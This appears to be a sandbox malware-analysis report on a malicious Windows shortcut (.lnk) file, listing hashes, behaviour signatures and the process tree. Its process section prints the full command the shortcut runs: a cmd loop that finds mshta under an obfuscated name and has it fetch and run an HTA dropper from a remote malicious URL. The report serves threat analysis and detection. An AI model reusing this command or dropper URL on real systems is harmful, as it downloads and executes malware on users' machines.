Overview

overview

10

Static

static

8f05021071...33.lnk

windows10-2004-x64

10

Resubmissions

24-11-2022 02:15

221124-cp371sba97 10

23-11-2022 10:03

221123-l3ntxsch89 10

Analysis

  • max time kernel
    1802s
  • max time network
    1826s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-11-2022 10:03

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    8f05021071c4bfd4cfce3d02bd30bf16f1322170515d796e13f75eb25b09d533.lnk

  • Size

    1KB

  • MD5

    99066332471d626dce4b2fd8c0543aea

  • SHA1

    e273ed808f0ef67b71afcb7f77da80be56228a58

  • SHA256

    8f05021071c4bfd4cfce3d02bd30bf16f1322170515d796e13f75eb25b09d533

  • SHA512

    95cc97a541a69bb3283221d9db0ce8ec3a9c5830c85b5c99991899706dbbd519eada6023ef77b1b0969666d1f17b366ff33d37a36db9e0130f90d6a3b35ec25c

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://doc.gdocshare.one/SYsWCc9+dx+o/gL79ReA3h7/r6r1OIXpUPR0vbw20DQ=

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 35 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\8f05021071c4bfd4cfce3d02bd30bf16f1322170515d796e13f75eb25b09d533.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4092
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k for %i IN (C:\Windows\system32\*sht*xe) DO start /b %~ni "https://doc.gdocshare.one/SYsWCc9+dx+o/gL79ReA3h7/r6r1OIXpUPR0vbw20DQ=" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3872
      • C:\Windows\system32\mshta.exe
        mshta "https://doc.gdocshare.one/SYsWCc9+dx+o/gL79ReA3h7/r6r1OIXpUPR0vbw20DQ="
        3⤵
        • Blocklisted process makes network request
        PID:4924
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /7
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:1640
  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Documents\Files.docx" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    PID:1656
  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Documents\Are.docx" /o ""
    1⤵
      PID:2128

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1656-139-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

      Filesize

      64KB

      Download

    • memory/1656-135-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

      Filesize

      64KB

      Download

    • memory/1656-136-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

      Filesize

      64KB

      Download

    • memory/1656-137-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

      Filesize

      64KB

      Download

    • memory/1656-138-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

      Filesize

      64KB

      Download

    • memory/1656-140-0x00007FF8838B0000-0x00007FF8838C0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/1656-141-0x00007FF8838B0000-0x00007FF8838C0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2128-148-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2128-149-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2128-151-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2128-150-0x00007FF885A70000-0x00007FF885A80000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3872-132-0x0000000000000000-mapping.dmp

      Download

    • memory/4924-133-0x0000000000000000-mapping.dmp

      Download